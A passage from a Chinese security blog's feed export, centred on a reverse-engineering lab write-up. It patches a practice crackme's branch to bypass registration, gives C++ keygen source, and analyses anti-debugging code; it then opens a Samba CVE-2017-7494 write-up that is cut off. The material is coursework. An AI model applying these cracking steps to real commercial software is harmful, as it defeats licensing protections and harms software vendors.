work</h3><ul><li>审计日志和其他内置DBMS安全机制旨在检测或阻止攻击者执行的恶意操作。这种机制的固有缺点是具有足够权限的攻击者可以绕过它们来隐藏它们的踪迹。</li><li>我们提供并全面评估DBDetective它可以检测攻击者通过从审计日志中删除从而隐藏的数据库操作并收集有关攻击者访问和修改哪些数据的证据。</li><li>我们的方法依赖于对数据库存储的取证检查,并将此信息与审核日志中的条目相关联,以发现恶意操作的证据。</li><li>重要的是,数据库存储几乎不可能被欺骗,因此,与例如审计日志相比,它是更可靠的篡改证据来源。</li><li>鉴于存储快照提供的信息不完整我们将探索概率匹配确定存储工件由审计日志中的操作引起的可能性根据操作的时间顺序利用其他约束模拟审计中SQL命令的部分历史记录获得更精确的匹配并根据检测到的异常动态调整拍摄快照的频率。</li></ul>]]></content>
<categories>
<category> 顶会论文 </category>
</categories>
<tags>
<tag> 数据库 </tag>
<tag> 复原文件 </tag>
<tag> 取证 </tag>
</tags>
</entry>
<entry>
<title>逆向工程与软件破解</title>
<link href="/2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/"/>
<url>/2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/</url>
<content type="html"><![CDATA[<h1 id="软件保护方式"><a href="#软件保护方式" class="headerlink" title="软件保护方式"></a>软件保护方式</h1><ol><li>功能限制</li><li>时间限制</li></ol><ul><li>运行时长限制</li><li>使用日期限制</li><li>使用次数限制</li></ul><ol start="3"><li>警告窗口</li></ol><h2 id><a href="#" class="headerlink" title></a><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553759246/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E5%9B%BE%E7%89%871.png" alt></h2><h1 id="分析工具"><a href="#分析工具" class="headerlink" title="分析工具"></a>分析工具</h1><ol><li>静态分析工具</li></ol><ul><li>IDA</li><li>W32Dasm</li><li>lordPE</li><li>Resource Hacker</li></ul><ol start="2"><li>动态分析工具</li></ol><ul><li>OllyDbg</li><li>WinDbg</li></ul><hr><h1 id="对抗分析技术"><a href="#对抗分析技术" class="headerlink" title="对抗分析技术"></a>对抗分析技术</h1><ol><li>反静态分析技术</li></ol><ul><li>花指令</li><li>自修改代码技术</li><li>多态技术</li><li>变形技术</li><li>虚拟机保护技术</li></ul><ol start="2"><li>反动态分析技术</li></ol><ul><li>检测调试状态</li><li>检测用户态调试器</li><li>检测内核态调试器</li><li>其他方法父进程检测StartupInfo 结构时间差通过Trap Flag检测</li></ul><ol start="3"><li>发现调试器后的处理</li></ol><ul><li>程序自身退出</li><li>向调试器窗口发送消息使调试器退出</li><li>使调试器窗口不可用</li><li>终止调试器进程</li></ul><hr><h1 id="PE文件格式基础"><a href="#PE文件格式基础" class="headerlink" title="PE文件格式基础"></a>PE文件格式基础</h1><hr><h1 id="加壳脱壳"><a href="#加壳脱壳" class="headerlink" title="加壳脱壳"></a>加壳脱壳</h1><hr><h1 id="反调试技术"><a href="#反调试技术" class="headerlink" title="反调试技术"></a>反调试技术</h1><p>反调试技术,程序用它来识别是否被调试,或者让调试器失效。为了阻止调试器的分析,当程序意识到自己被调试时,它们可能改变正常的执行路径或者修改自身程序让自己崩溃,从而增加调试时间和复杂度。</p><h2 id="探测windows调试器"><a href="#探测windows调试器" class="headerlink" title="探测windows调试器"></a>探测windows调试器</h2><ol><li>使用windows API<br>使用Windows API函数探测调试器是否存在是最简单的反调试技术。<br>通常防止使用API进行反调试的方法有在程序运行期间修改恶意代码使其不能调用API函数或修改返回值确保执行合适的路径还有挂钩这些函数。<br>常用来探测调试器的API函数有<code>IsDebuggerPresent</code> <code>CheckRemoteDebuggerPresent</code> <code>NtQueryInformationProcess</code> <code>OutputDebuggString</code></li><li>手动检测数据结构<br>程序编写者经常手动执行与这些API功能相同的操作</li></ol><ul><li>检查BeingDebugged属性</li><li>检测ProcessHeap属性</li><li>检测NTGlobalFlag</li></ul><ol start="3"><li>系统痕迹检测<br>通常我们使用调试工具来分析程序但这些工具会在系统中驻留一些痕迹。程序通过搜索这种系统的痕迹来确定你是否试图分析它。例如查找调试器引用的注册表项。同时程序也可以查找系统的文件和目录查找当前内存的痕迹或者查看当前进程列表更普遍的做法是通过FindWindows来查找调试器。</li></ol><h2 id="识别调试器的行为"><a href="#识别调试器的行为" class="headerlink" title="识别调试器的行为"></a>识别调试器的行为</h2><p>在逆向工程中可以使用断点或单步调试来帮助分析但执行这些操作时会修改进程中的代码。因此可以使用几种反调试技术探测INT扫描、完整性校验以及时钟检测等几种类型的调试器行为。</p><ol><li>INT扫描<br>调试器设置断点的基本机制是用软件中断INT 3机器码为0xCC临时替换程序中的一条指令。因此可以通过扫描INT 3修改来检测。</li><li>执行代码校验和检查<br>与INT扫描目的相同但仅执行机器码的CRC或MD5校验和检查。</li><li>时钟检测<br>被调试时,进程的运行速度大大降低,常用指令有:<code>rdstc</code> <code>QueryPerformanceCounter</code> <code>GetTickCount</code>,有如下两种方式探测时钟:</li></ol><ul><li>记录执行一段操作前后的时间戳</li><li>记录触发一个异常前后的时间戳<h2 id="干扰调试器的功能"><a href="#干扰调试器的功能" class="headerlink" title="干扰调试器的功能"></a>干扰调试器的功能</h2>本地存储(TLS)回调TLS回调被用来在程序入口点执行之前运行代码这发生在程序刚被加载到调试器时<br>使用异常使用SEH链可以实现异常程序可以使用异常来破坏或探测调试器调试器捕获异常后并不会将处理权立即返回给被调试进程。<br>插入中断插入INT 3、INT 2D、ICE<h2 id="调试器漏洞"><a href="#调试器漏洞" class="headerlink" title="调试器漏洞"></a>调试器漏洞</h2>PE头漏洞、OutputDebugString漏洞</li></ul><hr><h1 id="实验一:软件破解"><a href="#实验一:软件破解" class="headerlink" title="实验一:软件破解"></a>实验一:软件破解</h1><h2 id="对象"><a href="#对象" class="headerlink" title="对象"></a>对象</h2><p><a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553761280/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/crack.exe1" target="_blank" rel="noopener">crack.exe</a>28.0 KB</p><ul><li>无保护措施:无壳、未加密、无反调试措施</li><li>用户名至少要5个字节</li><li>输入错误验证码时输出“Bad Boy!”</li></ul><h2 id="爆破"><a href="#爆破" class="headerlink" title="爆破"></a>爆破</h2><h3 id="查找显示注册结果相关代码"><a href="#查找显示注册结果相关代码" class="headerlink" title="查找显示注册结果相关代码"></a>查找显示注册结果相关代码</h3><p>当输入错误验证码时程序会输出“Bad Boy”因此我们将程序拖入IDA以流程图显示函数内部的跳转。查找“Bad Boy”字符串我们可以定位到显示注册结果的相关代码<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553772615/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B71.png" alt></p><h3 id="查找注册码验证相关代码"><a href="#查找注册码验证相关代码" class="headerlink" title="查找注册码验证相关代码"></a>查找注册码验证相关代码</h3><p>用鼠标选中程序分支点,按空格切换回汇编指令界面<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553773066/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B72.png" alt></p><p>可以看到这条指令位于PE文件的.text节并且IDA已经自动将地址转换为运行时的内存地址<code>VA:004010F9</code></p><h3 id="修改程序跳转"><a href="#修改程序跳转" class="headerlink" title="修改程序跳转"></a>修改程序跳转</h3><ul><li>现在关闭IDA换用OllyDbg进行动态调试来看看程序时如何分支跳转的<code>Ctrl+G</code>直接跳到由IDA得到的<code>VA:004010F9</code>处查看那条引起程序分支的关键指令</li><li>选中这条指令按F2设置断点再按F9运行程序这时候控制权会回到程序OllyDbg暂时挂起。到程序提示输入名字和序列号随意输入名字大于五个字节点击ok后OllyDbg会重新中断程序收回控制权如图<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553775053/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B74.png" alt></li><li><p>验证函数的返回值存于EAX寄存器中if语句通过以下两条指令执行</p><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">cmp</span> <span class="built_in">eax</span>,<span class="built_in">ecx</span></span><br><span class="line"><span class="keyword">jnz</span> xxxxxxx</span><br></pre></td></tr></table></figure></li><li><p>也就是说当序列号输入错误时EAX中的值为0跳转将被执行。<br>如果我们把<code>jnz</code>这条指令修改为<code>jz</code>,那么整个程序的逻辑就会反过来。<br>双击<code>jnz</code>这条指令,将其改为<code>jz</code>,单击”汇编”将其写入内存<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553775817/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B75.png" alt><br>可以看到此时程序执行了相反的路径</p></li><li><p>上面只是在内存中修改程序我们还需要在二进制文件中也修改相应的字节这里考察VA与文件地址之间的关系</p></li><li>用LordPE打开.exe文件查看PE文件的节信息<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553776239/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B76.png" alt><br>根据VA与文件地址的换算公式<figure class="highlight lsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">文件偏移地址 = VA - Image Base - 节偏移</span><br><span class="line"> = <span class="number">0x004010F9</span> - <span class="number">0x00400000</span> - <span class="number">0</span></span><br><span class="line"> = <span class="number">0x10F9</span></span><br></pre></td></tr></table></figure></li></ul><p>也就是说这条指令在PE文件中位于<code>10F9</code>字节处使用010Editer打开crack.exe将这一字节的<code>75(JNZ)`</code>改为<code>74(JZ)`</code>,保存后重新执行,破解成功!</p><h2 id="编写注册机"><a href="#编写注册机" class="headerlink" title="编写注册机"></a>编写注册机</h2><h3 id="查找显示注册结果相关代码-1"><a href="#查找显示注册结果相关代码-1" class="headerlink" title="查找显示注册结果相关代码"></a>查找显示注册结果相关代码</h3><p>通过查找字符串“good boy”等我们可以找到显示注册结果的相关代码</p><h3 id="查找注册码验证相关代码-1"><a href="#查找注册码验证相关代码-1" class="headerlink" title="查找注册码验证相关代码"></a>查找注册码验证相关代码</h3><p>因为检测密钥是否正确时会将结果返回到EAX寄存器中因此在检测密钥前必然会对EAX寄存器清空由此我们可以找到注册码验证的相关代码。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553858953/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B77.png" alt></p><h3 id="根据注册码验证代码编写注册机"><a href="#根据注册码验证代码编写注册机" class="headerlink" title="根据注册码验证代码编写注册机"></a>根据注册码验证代码编写注册机</h3><p>分析上图算法按tab键转换为高级语言<br><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">for ( i = 0; i &lt; v6; v12 = v10 )</span><br><span class="line"> v10 = (v6 + v12) * lpStringa[i++];</span><br><span class="line">if ( (v12 ^ 0xA9F9FA) == atoi(v15) )</span><br><span class="line"> MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);</span><br></pre></td></tr></table></figure></p><p>可以看出生成注册码主要在for循环中完成之后将生成的注册码与输入相比较判断是否正确。<br>所以,只要能弄明白<code>v6v12v10v15</code>的含义,我们就可以轻松的编写注册机。<br>打开ollybdg在进入循环之前设下断点动态调试程序<br><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">004010CC |&gt; /8B4D <span class="number">10</span> |<span class="keyword">mov</span> <span class="built_in">ecx</span>,[arg<span class="meta">.3</span>] //此时<span class="built_in">ecx</span>为name</span><br><span class="line">004010CF |. 8B55 0C |<span class="keyword">mov</span> <span class="built_in">edx</span>,[arg<span class="meta">.2</span>] //<span class="built_in">edx</span>为<span class="number">0x1908</span></span><br><span class="line">004010D2 |. 03D3 |<span class="keyword">add</span> <span class="built_in">edx</span>,<span class="built_in">ebx</span> //<span class="built_in">edx</span>加上name的长度<span class="built_in">ebx</span></span><br><span class="line">004010D4 |. 0FBE0C08 |<span class="keyword">movsx</span> <span class="built_in">ecx</span>,<span class="built_in">byte</span> <span class="built_in">ptr</span> <span class="built_in">ds</span>:[<span class="built_in">eax</span>+<span class="built_in">ecx</span>] //<span class="built_in">ecx</span>=<span class="number">61h</span></span><br><span class="line">004010D8 |. 0FAFCA |<span class="keyword">imul</span> <span class="built_in">ecx</span>,<span class="built_in">edx</span> //<span class="number">61h</span>(a) * <span class="built_in">edx</span></span><br><span class="line">004010<span class="built_in">DB</span> |. <span class="number">40</span> |<span class="keyword">inc</span> <span class="built_in">eax</span> //<span class="built_in">eax</span>加<span class="number">1</span>(初始为<span class="number">0</span></span><br><span class="line">004010DC |. <span class="number">894D</span> 0C |<span class="keyword">mov</span> [arg<span class="meta">.2</span>],<span class="built_in">ecx</span></span><br><span class="line">004010DF |. 3BC3 |<span class="keyword">cmp</span> <span class="built_in">eax</span>,<span class="built_in">ebx</span> //循环是否结束</span><br></pre></td></tr></table></figure></p><p><code>arg.3</code>为输入的<code>name</code><code>arg.2</code>初始为<code>0x1908</code><code>ebx</code>为<code>name</code>的长度,<code>eax</code>每次循环加1直到等于长度<br>因此,我们可以对参数的含义进行解释如下<br><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">v12 = 6408; //0x1908</span><br><span class="line">v10 = 6408; //0x1908</span><br><span class="line">v6 = len(name);</span><br><span class="line">v12 = input_serial;</span><br><span class="line">for ( i = 0; i &lt; v6; i++ )&#123;</span><br><span class="line"> v12 = v10</span><br><span class="line"> v10 = (v6 + v12) * lpStringa[i];</span><br><span class="line">&#125;</span><br><span class="line">if ((v12 ^ 0xA9F9FA) == atoi(v15))&#123;</span><br><span class="line"> MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>可见,<code>v12^0xA9F9FA</code>的结果即是正确的注册码,我们编写一个<a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553937750/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/reg.cpp" target="_blank" rel="noopener">简单的程序</a>帮助我们生成注册码:<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span>::<span class="built_in">std</span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line"><span class="keyword">int</span> v12;</span><br><span class="line"><span class="keyword">int</span> v10 = <span class="number">6408</span>; <span class="comment">//0x1908</span></span><br><span class="line"><span class="built_in">string</span> name;</span><br><span class="line"><span class="built_in">cout</span> &lt;&lt; <span class="string">"请输入name: "</span>;</span><br><span class="line"><span class="built_in">cin</span> &gt;&gt; name;</span><br><span class="line"><span class="keyword">int</span> len = name.size();</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; len+<span class="number">1</span>; i++ )&#123;</span><br><span class="line"> v12 = v10;</span><br><span class="line"> v10 = (len + v12) * name[i];</span><br><span class="line">&#125;</span><br><span class="line"> <span class="built_in">cout</span>&lt;&lt;<span class="string">"\n"</span>&lt;&lt;<span class="string">"注册码为: "</span>&lt;&lt;(v12 ^ <span class="number">0xA9F9FA</span>)&lt;&lt;<span class="built_in">endl</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>计算出”testname”的对应注册码<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553937461/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B79.png" alt><br>注册成功!</p><h2 id="-1"><a href="#-1" class="headerlink" title></a><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1553937531/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/%E6%8D%95%E8%8E%B711.png" alt></h2><h1 id="实验二:软件反动态调试技术分析"><a href="#实验二:软件反动态调试技术分析" class="headerlink" title="实验二:软件反动态调试技术分析"></a>实验二:软件反动态调试技术分析</h1><h2 id="对象-1"><a href="#对象-1" class="headerlink" title="对象"></a>对象</h2><p><a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553779243/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/CrackMe1.exe1" target="_blank" rel="noopener">CrackMe1.exe</a> 1641.0 KB<br>无保护措施:无壳、未加密、无反调试措施<br>使用OllyDbg对该程序进行调试时程序会自动退出</p><h2 id="要求"><a href="#要求" class="headerlink" title="要求"></a>要求</h2><ol><li>分析CrackMe1.exe是如何通过父进程检测实现反OllyDbg调试的</li><li>分析除父进程检测外,该程序用到的反动态调试技术</li></ol><h2 id="父进程检测"><a href="#父进程检测" class="headerlink" title="父进程检测"></a>父进程检测</h2><p>一般双击运行的进程的父进程都是explorer.exe但是如果进程被调试父进程则是调试器进程。也就是说如果父进程不是explorer.exe则可以认为程序正在被调试。</p><figure class="highlight objectivec"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">BOOL</span> IsInDebugger()&#123;</span><br><span class="line"> HANDLE hProcessSnap = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="keyword">char</span> Expchar[] =<span class="string">"\\EXPLORER.EXE"</span>;</span><br><span class="line"> <span class="keyword">char</span> szBuffer[MAX_PATH]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line"> <span class="keyword">char</span> FileName[MAX_PATH]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line"> PROCESSENTRY32 pe32 = &#123;<span class="number">0</span>&#125;;</span><br><span class="line"></span><br><span class="line"> hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, <span class="number">0</span>); <span class="comment">//得到所有进程的列表快照</span></span><br><span class="line"> <span class="keyword">if</span> (hProcessSnap == INVALID_HANDLE_VALUE)</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">FALSE</span>; </span><br><span class="line"></span><br><span class="line"> pe32.dwSize = <span class="keyword">sizeof</span>(PROCESSENTRY32);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!Process32First(hProcessSnap, &amp;pe32)) <span class="comment">// 查找进程</span></span><br><span class="line"> &#123;</span><br><span class="line"> CloseHandle (hProcessSnap);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">FALSE</span>;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">do</span> <span class="comment">// 遍历所有进程</span></span><br><span class="line"> &#123;</span><br><span class="line"> <span class="keyword">if</span>(pe32.th32ProcessID==GetCurrentProcessId() )<span class="comment">//判断是否是自己的进程?</span></span><br><span class="line"> &#123;</span><br><span class="line"> HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, <span class="literal">FALSE</span>, pe32.th32ParentProcessID); <span class="comment">//打开父进程</span></span><br><span class="line"> <span class="keyword">if</span> (hProcess)</span><br><span class="line"> &#123;</span><br><span class="line"> <span class="keyword">if</span> (GetModuleFileNameEx(hProcess, <span class="literal">NULL</span>, FileName, MAX_PATH) ) <span class="comment">// 得到父进程名</span></span><br><span class="line"> &#123;</span><br><span class="line"> GetWindowsDirectory(szBuffer,MAX_PATH); <span class="comment">//得到系统所在目录</span></span><br><span class="line"> strcat(szBuffer,Expchar); <span class="comment">//组合成类似的字串D:\Winnt\Explorer.EXE</span></span><br><span class="line"> <span class="keyword">if</span>(strcmpi (FileName,szBuffer)) <span class="comment">// 比较当前是否为Explorer.EXE进程</span></span><br><span class="line"> &#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">TRUE</span>; <span class="comment">// 父进程若不是Explorer.EXE则是调试器</span></span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> &#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">FALSE</span>; <span class="comment">// 无法获得进程名</span></span><br><span class="line"> &#125;</span><br><span class="line"> CloseHandle (hProcess);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> &#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">FALSE</span>;<span class="comment">//无权访问该进程</span></span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">while</span> (Process32Next(hProcessSnap, &amp;pe32));</span><br><span class="line"> CloseHandle (hProcessSnap);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">FALSE</span>;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>由上述示例代码我们可以看到父进程检测中调用了GetCurrentProcessId函数来判断。<br>因此在Ollydbg中首先找到GetCurrentProcessId模块Ctrl+N然后设置断点<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557128745/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/1.png" alt><br>查看断点是否设置成功<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557128848/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/2.png" alt><br>运行该程序,在断点00401932停下打开任务管理器CrackMe1的pid为4020=0xFB4<br>程序在调用完GetCurrentProcessId后pid被放入EAX寄存器中值为0xFB4<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557129711/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/3.png" alt><br>然后调用Openprocess函数其参数processId为0xFB4返回进程CrackMe1的句柄<br>通过ntdll.dll中的LoadLibraryA和GetProcAddress函数找到NtQueryInformationProcess:<br><figure class="highlight lisp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">PNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (<span class="name">PNTQUERYINFORMATIONPROCESS</span>)GetProcAddress(<span class="name">GetModuleHandleA</span>(<span class="string">"ntdll"</span>),<span class="string">"NtQueryInformationProcess"</span>)<span class="comment">;</span></span><br></pre></td></tr></table></figure></p><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557131510/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/4.png" alt><br>用OpenProcess获得的句柄设置NtQueryInformationProcess的对应参数然后调用NtQueryInformationProcess从其返回值中可以获取到CrackMe1.exe的父进程PID=0xDB4=3508,在任务管理器中查看进程名确实是ollydbg<br>然后再次调用openprocess获得父进程的句柄<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557132091/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/5.png" alt><br>最后调用GetModuleFileNameExA通过OpenProcess返回的句柄获取父进程的文件名<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557133154/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/6.png" alt><br>至此成功获取到父进程的文件名接下来将进行父进程文件名与“c:\windows\explore.exe”的字符串比较。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557133828/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/7.png" alt><br>EDX中保存explorer字符串ESI中保存ollydbg字符串<br>然后进入循环逐位比较比较流程是首先取esi中第一个字符到eax将EAX的值减去41然后存入exc中并与19比较大小判断是否大写若是则eax加上20转化为小写转化为小写之后对edx中的字符做同样操作然后test eax eax判断是否比较完毕若没有则逐个比较直到遇到不相等的字符。</p><h2 id="其他检测"><a href="#其他检测" class="headerlink" title="其他检测"></a>其他检测</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557227067/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/8.png" alt><br>用EnumWindows枚举所有屏幕上的顶层窗口并将窗口句柄传送给应用程序定义的回调函数此处的回调函数调用了GetWindowTextA将指定窗口的标题栏如果有的话的文字拷贝到缓冲区内<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1557227506/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/9.png" alt><br>将得到的窗口标题与”ollydbg”等进行比较看是否为调试器。</p><hr><h1 id="实验三:加花加密反调试技术分析"><a href="#实验三:加花加密反调试技术分析" class="headerlink" title="实验三:加花加密反调试技术分析"></a>实验三:加花加密反调试技术分析</h1><h2 id="对象-2"><a href="#对象-2" class="headerlink" title="对象"></a>对象</h2><p><a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553779413/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/CrackMe2.exe1" target="_blank" rel="noopener">CrackMe2.exe</a> 9.00 KB<br>保护措施:部分加花、部分加密、简单反调试<br>根据<a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553779403/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/Crackme2%E6%8F%90%E7%A4%BA.docx" target="_blank" rel="noopener">提示</a></p><h2 id="内容"><a href="#内容" class="headerlink" title="内容"></a>内容</h2><ol><li>加壳脱壳深入理解</li><li>尝试手动脱壳</li><li>分析CrackMe2.exe中花指令</li><li>分析CrackMe2.exe中的被加密的函数的功能</li><li>分析CrackMe2.exe中的反调试手段</li><li>分析CrackMe2.exe中混合的64位代码的功能</li></ol>]]></content>
<categories>
<category> 二进制 </category>
</categories>
<tags>
<tag> 逆向 </tag>
<tag> 破解 </tag>
</tags>
</entry>
<entry>
<title>小米路由器与Samba漏洞CVE-2017-7494</title>
<link href="/2019/03/25/Samba-CVE/"/>
<url>/2019/03/25/Samba-CVE/</url>
<content type="html"><![CDATA[<h1 id="小米路由器与Samba漏洞CVE-2017-7494"><a href="#小米路由器与Samba漏洞CVE-2017-7494" class="headerlink" title="小米路由器与Samba漏洞CVE-2017-7494"></a>小米路由器与Samba漏洞CVE-2017-7494</h1><h2 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h2><p>Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录会导致服务器加载并执行指定的库文件。<br>具体执行条件如下:</p><ol><li><p>服务器打开了文件/打印机共享端口445让其能够在公网上访问</p></li><li><p>共享文件拥有写入权限</p></li><li><p>恶意攻击者需猜解Samba服务端共享目录的物理路径</p></li></ol><h2 id="Samba介绍"><a href="#Samba介绍" class="headerlink" title="Samba介绍"></a>Samba介绍</h2><p>Samba是在Linux和Unix系统上实现SMB协议的一个免费软件由服务器及客户端程序构成。SMBServer Messages Block信息服务块是一种在局域网上共享文件和打印机的一种通信协议它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。</p><p>SMB协议是客户机/服务器型协议客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源还能与全世界的电脑分享资源。</p><h2 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因"></a>漏洞成因</h2><p>处于\source3\rpc_server\src_pipe.c的is_known_pipename()函数未对传进来的管道名pipename的路径分隔符/进行识别过滤导致可以用绝对路径调用恶意的so文件从而远程任意代码执行。<br>首先看到is_known_pipename()函数<br><img 